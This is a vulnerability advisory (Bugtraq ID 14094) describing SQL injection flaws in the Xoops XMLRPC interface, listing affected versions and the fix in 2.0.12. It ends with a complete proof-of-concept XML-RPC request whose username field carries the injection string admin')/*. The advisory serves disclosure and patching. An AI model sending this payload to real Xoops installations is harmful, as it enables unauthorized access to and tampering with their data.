BID:14094

Xoops XMLRPC Multiple SQL Injection Vulnerabilities

Info

Xoops XMLRPC Multiple SQL Injection Vulnerabilities

Bugtraq ID:	14094
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 29 2005 12:00AM
Updated:	Jun 29 2005 12:00AM
Credit:	James Bercegay of the GulfTech Security Research Team is credited with the discovery of this vulnerability.
Vulnerable:	Xoops Xoops 2.0.11 Xoops Xoops 2.0.10 Xoops Xoops 2.0.9 .3 Xoops Xoops 2.0.9 .2 Xoops Xoops 2.0.5 .2 Xoops Xoops 2.0.5 .1 Xoops Xoops 2.0.5 Xoops Xoops 2.0.3 Xoops Xoops 2.0.2 Xoops Xoops 2.0.1 Xoops Xoops 2.0

Not Vulnerable:	Xoops Xoops 2.0.12

Discussion

Xoops XMLRPC Multiple SQL Injection Vulnerabilities

Xoops is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

The vendor has addressed this issue in Xoops version 2.0.12; earlier versions are reported vulnerable.

Exploit / POC

Xoops XMLRPC Multiple SQL Injection Vulnerabilities

No exploit is required.

The following proof of concept is available:
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getPost</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
<param>
<value><string>admin')/*</string></value>
</param>
<param>
<value><string>passwordfield</string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>